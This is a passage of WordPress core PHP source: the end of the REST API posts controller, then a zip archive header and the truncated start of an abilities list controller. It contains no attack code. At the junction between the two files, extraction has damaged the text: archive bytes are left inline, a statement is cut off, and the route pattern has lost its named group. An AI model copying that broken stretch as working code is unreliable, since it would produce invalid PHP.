$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );
$links['https://api.w.org/attachment'] = array(
'href' => $attachments_url,
);
}
$taxonomies = get_object_taxonomies( $post->post_type );
if ( ! empty( $taxonomies ) ) {
$links['https://api.w.org/term'] = array();
foreach ( $taxonomies as $tax ) {
$taxonomy_route = rest_get_route_for_taxonomy_items( $tax );
// Skip taxonomies that are not public.
if ( empty( $taxonomy_route ) ) {
continue;
}
$terms_url = add_query_arg(
'post',
$post->ID,
rest_url( $taxonomy_route )
);
$links['https://api.w.org/term'][] = array(
'href' => $terms_url,
'taxonomy' => $tax,
'embeddable' => true,
);
}
}
return $links;
}
/**
* Gets the link relations available for the post and current user.
*
* @since 4.9.8
*
* @param WP_Post $post Post object.
* @param WP_REST_Request $request Request object.
* @return array List of link relations.
*/
protected function get_available_actions( $post, $request ) {
if ( 'edit' !== $request['context'] ) {
return array();
}
$rels = array();
$post_type = get_post_type_object( $post->post_type );
if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
$rels[] = 'https://api.w.org/action-publish';
}
if ( current_user_can( 'unfiltered_html' ) ) {
$rels[] = 'https://api.w.org/action-unfiltered-html';
}
if ( 'post' === $post_type->name ) {
if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
$rels[] = 'https://api.w.org/action-sticky';
}
}
if ( post_type_supports( $post_type->name, 'author' ) ) {
if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
$rels[] = 'https://api.w.org/action-assign-author';
}
}
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
foreach ( $taxonomies as $tax ) {
$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;
if ( current_user_can( $create_cap ) ) {
$rels[] = 'https://api.w.org/action-create-' . $tax_base;
}
if ( current_user_can( $tax->cap->assign_terms ) ) {
$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
}
}
return $rels;
}
/**
* Retrieves the post's schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => $this->post_type,
'type' => 'object',
// Base properties for every Post.
'properties' => array(
'date' => array(
'description' => __( "The date the post was published, in the site's timezone." ),
'type' => array( 'string', 'null' ),
'format' => 'date-time',
'context' => array( 'view', 'edit', 'embed' ),
),
'date_gmt' => array(
'description' => __( 'The date the post was published, as GMT.' ),
'type' => array( 'string', 'null' ),
'format' => 'date-time',
'context' => array( 'view', 'edit' ),
),
'guid' => array(
'description' => __( 'The globally unique identifier for the post.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'GUID for the post, as it exists in the database.' ),
'type' => 'string',
'context' => array( 'edit' ),
'readonly' => true,
),
'rendered' => array(
'description' => __( 'GUID for the post, transformed for display.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
),
'id' => array(
'description' => __( 'Unique identifier for the post.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'link' => array(
'description' => __( 'URL to the post.' ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'modified' => array(
'description' => __( "The date the post was last modified, in the site's timezone." ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'modified_gmt' => array(
'description' => __( 'The date the post was last modified, as GMT.' ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the post unique to its type.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'arg_options' => array(
'sanitize_callback' => array( $this, 'sanitize_slug' ),
),
),
'status' => array(
'description' => __( 'A named status for the post.' ),
'type' => 'string',
'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ),
'context' => array( 'view', 'edit' ),
'arg_options' => array(
'validate_callback' => array( $this, 'check_status' ),
),
),
'type' => array(
'description' => __( 'Type of post.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'password' => array(
'description' => __( 'A password to protect access to the content and excerpt.' ),
'type' => 'string',
'context' => array( 'edit' ),
),
),
);
$post_type_obj = get_post_type_object( $this->post_type );
if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
$schema['properties']['permalink_template'] = array(
'description' => __( 'Permalink template for the post.' ),
'type' => 'string',
'context' => array( 'edit' ),
'readonly' => true,
);
$schema['properties']['generated_slug'] = array(
'description' => __( 'Slug automatically generated from the post title.' ),
'type' => 'string',
'context' => array( 'edit' ),
'readonly' => true,
);
$schema['properties']['class_list'] = array(
'description' => __( 'An array of the class names for the post container element.' ),
'type' => 'array',
'context' => array( 'view', 'edit' ),
'readonly' => true,
'items' => array(
'type' => 'string',
),
);
}
if ( $post_type_obj->hierarchical ) {
$schema['properties']['parent'] = array(
'description' => __( 'The ID for the parent of the post.' ),
'type' => 'integer',
'context' => array( 'view', 'edit' ),
);
}
$post_type_attributes = array(
'title',
'editor',
'author',
'excerpt',
'thumbnail',
'comments',
'revisions',
'page-attributes',
'post-formats',
'custom-fields',
);
$fixed_schemas = array(
'post' => array(
'title',
'editor',
'author',
'excerpt',
'thumbnail',
'comments',
'revisions',
'post-formats',
'custom-fields',
),
'page' => array(
'title',
'editor',
'author',
'excerpt',
'thumbnail',
'comments',
'revisions',
'page-attributes',
'custom-fields',
),
'attachment' => array(
'title',
'author',
'comments',
'revisions',
'custom-fields',
'thumbnail',
),
);
foreach ( $post_type_attributes as $attribute ) {
if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
continue;
} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
continue;
}
switch ( $attribute ) {
case 'title':
$schema['properties']['title'] = array(
'description' => __( 'The title for the post.' ),
'type' => 'object',
'context' => array( 'view', 'edit', 'embed' ),
'arg_options' => array(
'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
),
'properties' => array(
'raw' => array(
'description' => __( 'Title for the post, as it exists in the database.' ),
'type' => 'string',
'context' => array( 'edit' ),
),
'rendered' => array(
'description' => __( 'HTML title for the post, transformed for display.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
),
);
break;
case 'editor':
$schema['properties']['content'] = array(
'description' => __( 'The content for the post.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'arg_options' => array(
'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
),
'properties' => array(
'raw' => array(
'description' => __( 'Content for the post, as it exists in the database.' ),
'type' => 'string',
'context' => array( 'edit' ),
),
'rendered' => array(
'description' => __( 'HTML content for the post, transformed for display.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'block_version' => array(
'description' => __( 'Version of the content block format used by the post.' ),
'type' => 'integer',
'context' => array( 'edit' ),
'readonly' => true,
),
'protected' => array(
'description' => __( 'Whether the content is protected with a password.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
),
);
break;
case 'author':
$schema['properties']['author'] = array(
'description' => __( 'The ID for the author of the post.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
);
break;
case 'excerpt':
$schema['properties']['excerpt'] = array(
'description' => __( 'The excerpt for the post.' ),
'type' => 'object',
'context' => array( 'view', 'edit', 'embed' ),
'arg_options' => array(
'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
),
'properties' => array(
'raw' => array(
'description' => __( 'Excerpt for the post, as it exists in the database.' ),
'type' => 'string',
'context' => array( 'edit' ),
),
'rendered' => array(
'description' => __( 'HTML excerpt for the post, transformed for display.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'protected' => array(
'description' => __( 'Whether the excerpt is protected with a password.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
),
);
break;
case 'thumbnail':
$schema['properties']['featured_media'] = array(
'description' => __( 'The ID of the featured media for the post.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
);
break;
case 'comments':
$schema['properties']['comment_status'] = array(
'description' => __( 'Whether or not comments are open on the post.' ),
'type' => 'string',
'enum' => array( 'open', 'closed' ),
'context' => array( 'view', 'edit' ),
);
$schema['properties']['ping_status'] = array(
'description' => __( 'Whether or not the post can be pinged.' ),
'type' => 'string',
'enum' => array( 'open', 'closed' ),
'context' => array( 'view', 'edit' ),
);
break;
case 'page-attributes':
$schema['properties']['menu_order'] = array(
'description' => __( 'The order of the post in relation to other posts.' ),
'type' => 'integer',
'context' => array( 'view', 'edit' ),
);
break;
case 'post-formats':
// Get the native post formats and remove the array keys.
$formats = array_values( get_post_format_slugs() );
$schema['properties']['format'] = array(
'description' => __( 'The format for the post.' ),
'type' => 'string',
'enum' => $formats,
'context' => array( 'view', 'edit' ),
);
break;
case 'custom-fields':
$schema['properties']['meta'] = $this->meta->get_field_schema();
break;
}
}
if ( 'post' === $this->post_type ) {
$schema['properties']['sticky'] = array(
'description' => __( 'Whether or not the post should be treated as sticky.' ),
'type' => 'boolean',
'context' => array( 'view', 'edit' ),
);
}
$schema['properties']['template'] = array(
'description' => __( 'The theme file to use to display the post.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'arg_options' => array(
'validate_callback' => array( $this, 'check_template' ),
),
);
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
foreach ( $taxonomies as $taxonomy ) {
$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
if ( array_key_exists( $base, $schema['properties'] ) ) {
$taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name';
_doing_it_wrong(
'register_taxonomy',
sprintf(
/* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */
__( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ),
$taxonomy->name,
$taxonomy_field_name_with_conflict,
$base
),
'5.4.0'
);
}
$schema['properties'][ $base ] = array(
/* translators: %s: Taxonomy name. */
'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'context' => array( 'view', 'edit' ),
);
}
$schema_links = $this->get_schema_links();
if ( $schema_links ) {
$schema['links'] = $schema_links;
}
// Take a snapshot of which fields are in the schema pre-filtering.
$schema_fields = array_keys( $schema['properties'] );
/**
* Filters the post's schema.
*
* The dynamic portion of the filter, `$this->post_type`, refers to the
* post type slug for the controller.
*
* Possible hook names include:
*
* - `rest_post_item_schema`
* - `rest_page_item_schema`
* - `rest_attachment_item_schema`
*
* @since 5.4.0
*
* @param array $schema Item schema data.
*/
$schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema );
// Emit a _doing_it_wrong warning if user tries to add new properties using this filter.
$new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields );
if ( count( $new_fields ) > 0 ) {
_doing_it_wrong(
__METHOD__,
sprintf(
/* translators: %s: register_rest_field */
__( 'Please use %s to add new schema properties.' ),
'register_rest_field'
),
'5.4.0'
);
}
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves Link Description Objects that should be added to the Schema for the posts collection.
*
* @since 4.9.8
*
* @return array
*/
protected function get_schema_links() {
$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );
$links = array();
if ( 'attachment' !== $this->post_type ) {
$links[] = array(
'rel' => 'https://api.w.org/action-publish',
'title' => __( 'The current user can publish this post.' ),
'href' => $href,
'targetSchema' => array(
'type' => 'object',
'properties' => array(
'status' => array(
'type' => 'string',
'enum' => array( 'publish', 'future' ),
),
),
),
);
}
$links[] = array(
'rel' => 'https://api.w.org/action-unfiltered-html',
'title' => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
'href' => $href,
'targetSchema' => array(
'type' => 'object',
'properties' => array(
'content' => array(
'raw' => array(
'type' => 'string',
),
),
),
),
);
if ( 'post' === $this->post_type ) {
$links[] = array(
'rel' => 'https://api.w.org/action-sticky',
'title' => __( 'The current user can sticky this post.' ),
'href' => $href,
'targetSchema' => array(
'type' => 'object',
'properties' => array(
'sticky' => array(
'type' => 'boolean',
),
),
),
);
}
if ( post_type_supports( $this->post_type, 'author' ) ) {
$links[] = array(
'rel' => 'https://api.w.org/action-assign-author',
'title' => __( 'The current user can change the author on this post.' ),
'href' => $href,
'targetSchema' => array(
'type' => 'object',
'properties' => array(
'author' => array(
'type' => 'integer',
),
),
),
);
}
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
foreach ( $taxonomies as $tax ) {
$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
/* translators: %s: Taxonomy name. */
$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
/* translators: %s: Taxonomy name. */
$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );
$links[] = array(
'rel' => 'https://api.w.org/action-assign-' . $tax_base,
'title' => $assign_title,
'href' => $href,
'targetSchema' => array(
'type' => 'object',
'properties' => array(
$tax_base => array(
'type' => 'array',
'items' => array(
'type' => 'integer',
),
),
),
),
);
$links[] = array(
'rel' => 'https://api.w.org/action-create-' . $tax_base,
'title' => $create_title,
'href' => $href,
'targetSchema' => array(
'type' => 'object',
'properties' => array(
$tax_base => array(
'type' => 'array',
'items' => array(
'type' => 'integer',
),
),
),
),
);
}
return $links;
}
/**
* Retrieves the query params for the posts collection.
*
* @since 4.7.0
* @since 5.4.0 The `tax_relation` query parameter was added.
* @since 5.7.0 The `modified_after` and `modified_before` query parameters were added.
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context']['default'] = 'view';
$query_params['after'] = array(
'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
'type' => 'string',
'format' => 'date-time',
);
$query_params['modified_after'] = array(
'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ),
'type' => 'string',
'format' => 'date-time',
);
if ( post_type_supports( $this->post_type, 'author' ) ) {
$query_params['author'] = array(
'description' => __( 'Limit result set to posts assigned to specific authors.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['author_exclude'] = array(
'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
}
$query_params['before'] = array(
'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
'type' => 'string',
'format' => 'date-time',
);
$query_params['modified_before'] = array(
'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ),
'type' => 'string',
'format' => 'date-time',
);
$query_params['exclude'] = array(
'description' => __( 'Ensure result set excludes specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['include'] = array(
'description' => __( 'Limit result set to specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
$query_params['menu_order'] = array(
'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
'type' => 'integer',
);
}
$query_params['search_semantics'] = array(
'description' => __( 'How to interpret the search input.' ),
'type' => 'string',
'enum' => array( 'exact' ),
);
$query_params['offset'] = array(
'description' => __( 'Offset the result set by a specific number of items.' ),
'type' => 'integer',
);
$query_params['order'] = array(
'description' => __( 'Order sort attribute ascending or descending.' ),
'type' => 'string',
'default' => 'desc',
'enum' => array( 'asc', 'desc' ),
);
$query_params['orderby'] = array(
'description' => __( 'Sort collection by post attribute.' ),
'type' => 'string',
'default' => 'date',
'enum' => array(
'author',
'date',
'id',
'include',
'modified',
'parent',
'relevance',
'slug',
'include_slugs',
'title',
),
);
if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
$query_params['orderby']['enum'][] = 'menu_order';
}
$post_type = get_post_type_object( $this->post_type );
if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
$query_params['parent'] = array(
'description' => __( 'Limit result set to items with particular parent IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['parent_exclude'] = array(
'description' => __( 'Limit result set to all items except those of a particular parent ID.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
}
$query_params['search_columns'] = array(
'default' => array(),
'description' => __( 'Array of column names to be searched.' ),
'type' => 'array',
'items' => array(
'enum' => array( 'post_title', 'post_content', 'post_excerpt' ),
'type' => 'string',
),
);
$query_params['slug'] = array(
'description' => __( 'Limit result set to posts with one or more specific slugs.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['status'] = array(
'default' => 'publish',
'description' => __( 'Limit result set to posts assigned one or more statuses.' ),
'type' => 'array',
'items' => array(
'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
'type' => 'string',
),
'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
);
$query_params = $this->prepare_taxonomy_limit_schema( $query_params );
if ( 'post' === $this->post_type ) {
$query_params['sticky'] = array(
'description' => __( 'Limit result set to items that are sticky.' ),
'type' => 'boolean',
);
$query_params['ignore_sticky'] = array(
'description' => __( 'Whether to ignore sticky posts or not.' ),
'type' => 'boolean',
'default' => true,
);
}
if ( post_type_supports( $this->post_type, 'post-formats' ) ) {
$query_params['format'] = array(
'description' => __( 'Limit result set to items assigned one or more given formats.' ),
'type' => 'array',
'uniqueItems' => true,
'items' => array(
'enum' => array_values( get_post_format_slugs() ),
'type' => 'string',
),
);
}
/**
* Filters collection parameters for the posts controller.
*
* The dynamic part of the filter `$this->post_type` refers to the post
* type slug for the controller.
*
* This filter registers the collection parameter, but does not map the
* collection parameter to an internal WP_Query parameter. Use the
* `rest_{$this->post_type}_query` filter to set WP_Query parameters.
*
* @since 4.7.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
* @param WP_Post_Type $post_type Post type object.
*/
return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
}
/**
* Sanitizes and validates the list of post statuses, including whether the
* user can query private statuses.
*
* @since 4.7.0
*
* @param string|array $statuses One or more post statuses.
* @param WP_REST_Request $request Full details about the request.
* @param string $parameter Additional parameter to pass to validation.
* @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
*/
public function sanitize_post_statuses( $statuses, $request, $parameter ) {
$statuses = wp_parse_slug_list( $statuses );
// The default status is different in WP_REST_Attachments_Controller.
$attributes = $request->get_attributes();
$default_status = $attributes['args']['status']['default'];
foreach ( $statuses as $status ) {
if ( $status === $default_status ) {
continue;
}
$post_type_obj = get_post_type_object( $this->post_type );
if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
$result = rest_validate_request_arg( $status, $request, $parameter );
if ( is_wp_error( $result ) ) {
return $result;
}
} else {
return new WP_Error(
'rest_forbidden_status',
__( 'Status is forbidden.' ),
array( 'status' => rest_authorization_required_code() )
);
}
}
return $statuses;
}
/**
* Prepares the 'tax_query' for a collection of posts.
*
* @since 5.7.0
*
* @param array $args WP_Query arguments.
* @param WP_REST_Request $request Full details about the request.
* @return array Updated query arguments.
*/
private function prepare_tax_query( array $args, WP_REST_Request $request ) {
$relation = $request['tax_relation'];
if ( $relation ) {
$args['tax_query'] = array( 'relation' => $relation );
}
$taxonomies = wp_list_filter(
get_object_taxonomies( $this->post_type, 'objects' ),
array( 'show_in_rest' => true )
);
foreach ( $taxonomies as $taxonomy ) {
$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
$tax_include = $request[ $base ];
$tax_exclude = $request[ $base . '_exclude' ];
if ( $tax_include ) {
$terms = array();
$include_children = false;
$operator = 'IN';
if ( rest_is_array( $tax_include ) ) {
$terms = $tax_include;
} elseif ( rest_is_object( $tax_include ) ) {
$terms = empty( $tax_include['terms'] ) ? array() : $tax_include['terms'];
$include_children = ! empty( $tax_include['include_children'] );
if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) {
$operator = 'AND';
}
}
if ( $terms ) {
$args['tax_query'][] = array(
'taxonomy' => $taxonomy->name,
'field' => 'term_id',
'terms' => $terms,
'include_children' => $include_children,
'operator' => $operator,
);
}
}
if ( $tax_exclude ) {
$terms = array();
$include_children = false;
if ( rest_is_array( $tax_exclude ) ) {
$terms = $tax_exclude;
} elseif ( rest_is_object( $tax_exclude ) ) {
$terms = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms'];
$include_children = ! empty( $tax_exclude['include_children'] );
}
if ( $terms ) {
$args['tax_query'][] = array(
'taxonomy' => $taxonomy->name,
'field' => 'term_id',
'terms' => $terms,
'include_children' => $include_children,
'operator' => 'NOT IN',
);
}
}
}
return $args;
}
/**
* Prepares the collection schema for including and excluding items by terms.
*
* @since 5.7.0
*
* @param array $query_params Collection schema.
* @return array Updated schema.
*/
private function prepare_taxonomy_limit_schema( array $query_params ) {
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
if ( ! $taxonomies ) {
return $query_params;
}
$query_params['tax_relation'] = array(
'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ),
'type' => 'string',
'enum' => array( 'AND', 'OR' ),
);
$limit_schema = array(
'type' => array( 'object', 'array' ),
'oneOf' => array(
array(
'title' => __( 'Term ID List' ),
'description' => __( 'Match terms with the listed IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
),
array(
'title' => __( 'Term ID Taxonomy Query' ),
'description' => __( 'Perform an advanced term query.' ),
'type' => 'object',
'properties' => array(
'terms' => array(
'description' => __( 'Term IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
),
'include_children' => array(
'description' => __( 'Whether to include child terms in the terms limiting the result set.' ),
'type' => 'boolean',
'default' => false,
),
),
'additionalProperties' => false,
),
),
);
$include_schema = array_merge(
array(
/* translators: %s: Taxonomy name. */
'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ),
),
$limit_schema
);
// 'operator' is supported only for 'include' queries.
$include_schema['oneOf'][1]['properties']['operator'] = array(
'description' => __( 'Whether items must be assigned all or any of the specified terms.' ),
'type' => 'string',
'enum' => array( 'AND', 'OR' ),
'default' => 'OR',
);
$exclude_schema = array_merge(
array(
/* translators: %s: Taxonomy name. */
'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ),
),
$limit_schema
);
foreach ( $taxonomies as $taxonomy ) {
$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
$base_exclude = $base . '_exclude';
$query_params[ $base ] = $include_schema;
$query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base );
$query_params[ $base_exclude ] = $exclude_schema;
$query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base );
if ( ! $taxonomy->hierarchical ) {
unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] );
unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] );
}
}
return $query_params;
}
}
PK @:\rH4 H4 8 endpoints/class-wp-rest-abilities-v1-list-controller.phpnu [ namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+)',
array(
'args' => array(
'name' => array(
'description' => __( 'Unique identifier for the ability.' ),
'type' => 'string',
'pattern' => '^[a-zA-Z0-9\-\/]+$',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Retrieves all abilities.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Response object on success.
*/
public function get_items( $request ) {
$abilities = array_filter(
wp_get_abilities(),
static function ( $ability ) {
return $ability->get_meta_item( 'show_in_rest' );
}
);
// Filter by ability category if specified.
$category = $request['category'];
if ( ! empty( $category ) ) {
$abilities = array_filter(
$abilities,
static function ( $ability ) use ( $category ) {
return $ability->get_category() === $category;
}
);
// Reset array keys after filtering.
$abilities = array_values( $abilities );
}
$page = $request['page'];
$per_page = $request['per_page'];
$offset = ( $page - 1 ) * $per_page;
$total_abilities = count( $abilities );
$max_pages = (int) ceil( $total_abilities / $per_page );
if ( $request->get_method() === 'HEAD' ) {
$response = new WP_REST_Response( array() );
} else {
$abilities = array_slice( $abilities, $offset, $per_page );
$data = array();
foreach ( $abilities as $ability ) {
$item = $this->prepare_item_for_response( $ability, $request );
$data[] = $this->prepare_response_for_collection( $item );
}
$response = rest_ensure_response( $data );
}
$response->header( 'X-WP-Total', (string) $total_abilities );
$response->header( 'X-WP-TotalPages', (string) $max_pages );
$query_params = $request->get_query_params();
$base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
if ( $page > 1 ) {
$prev_page = $page - 1;
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $page < $max_pages ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Retrieves a specific ability.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$ability = wp_get_ability( $request['name'] );
if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) {
return new WP_Error(
'rest_ability_not_found',
__( 'Ability not found.' ),
array( 'status' => 404 )
);
}
$data = $this->prepare_item_for_response( $ability, $request );
return rest_ensure_response( $data );
}
/**
* Checks if a given request has access to read ability items.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool True if the request has read access.
*/
public function get_items_permissions_check( $request ) {
return current_user_can( 'read' );
}
/**
* Checks if a given request has access to read an ability item.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool True if the request has read access.
*/
public function get_item_permissions_check( $request ) {
return current_user_can( 'read' );
}
/**
* Normalizes schema empty object defaults.
*
* Converts empty array defaults to objects when the schema type is 'object'
* to ensure proper JSON serialization as {} instead of [].
*
* @since 6.9.0
*
* @param array $schema The schema array.
* @return array The normalized schema.
*/
private function normalize_schema_empty_object_defaults( array $schema ): array {
if ( isset( $schema['type'] ) && 'object' === $schema['type'] && isset( $schema['default'] ) ) {
$default = $schema['default'];
if ( is_array( $default ) && empty( $default ) ) {
$schema['default'] = (object) $default;
}
}
return $schema;
}
/**
* WordPress-internal schema keywords to strip from REST responses.
*
* @since 7.0.0
* @var array
*/
private const INTERNAL_SCHEMA_KEYWORDS = array(
'sanitize_callback' => true,
'validate_callback' => true,
'arg_options' => true,
);
/**
* Recursively removes WordPress-internal keywords from a schema.
*
* Ability schemas may include WordPress-internal properties like
* `sanitize_callback`, `validate_callback`, and `arg_options` that are
* used server-side but are not valid JSON Schema keywords. This method
* removes those specific keys so they are not exposed in REST responses.
*
* @since 7.0.0
*
* @param array $schema The schema array.
* @return array The schema without WordPress-internal keywords.
*/
private function strip_internal_schema_keywords( array $schema ): array {
$schema = array_diff_key( $schema, self::INTERNAL_SCHEMA_KEYWORDS );
// Sub-schema maps: keys are user-defined, values are sub-schemas.
// Note: 'dependencies' values can also be property-dependency arrays
// (numeric arrays of strings) which are skipped via wp_is_numeric_array().
foreach ( array( 'properties', 'patternProperties', 'definitions', 'dependencies' ) as $keyword ) {
if ( isset( $schema[ $keyword ] ) && is_array( $schema[ $keyword ] ) ) {
foreach ( $schema[ $keyword ] as $key => $child_schema ) {
if ( is_array( $child_schema ) && ! wp_is_numeric_array( $child_schema ) ) {
$schema[ $keyword ][ $key ] = $this->strip_internal_schema_keywords( $child_schema );
}
}
}
}
// Single sub-schema keywords.
foreach ( array( 'not', 'additionalProperties', 'additionalItems' ) as $keyword ) {
if ( isset( $schema[ $keyword ] ) && is_array( $schema[ $keyword ] ) ) {
$schema[ $keyword ] = $this->strip_internal_schema_keywords( $schema[ $keyword ] );
}
}
// Items: single schema or tuple array of schemas.
if ( isset( $schema['items'] ) ) {
if ( wp_is_numeric_array( $schema['items'] ) ) {
foreach ( $schema['items'] as $index => $item_schema ) {
if ( is_array( $item_schema ) ) {
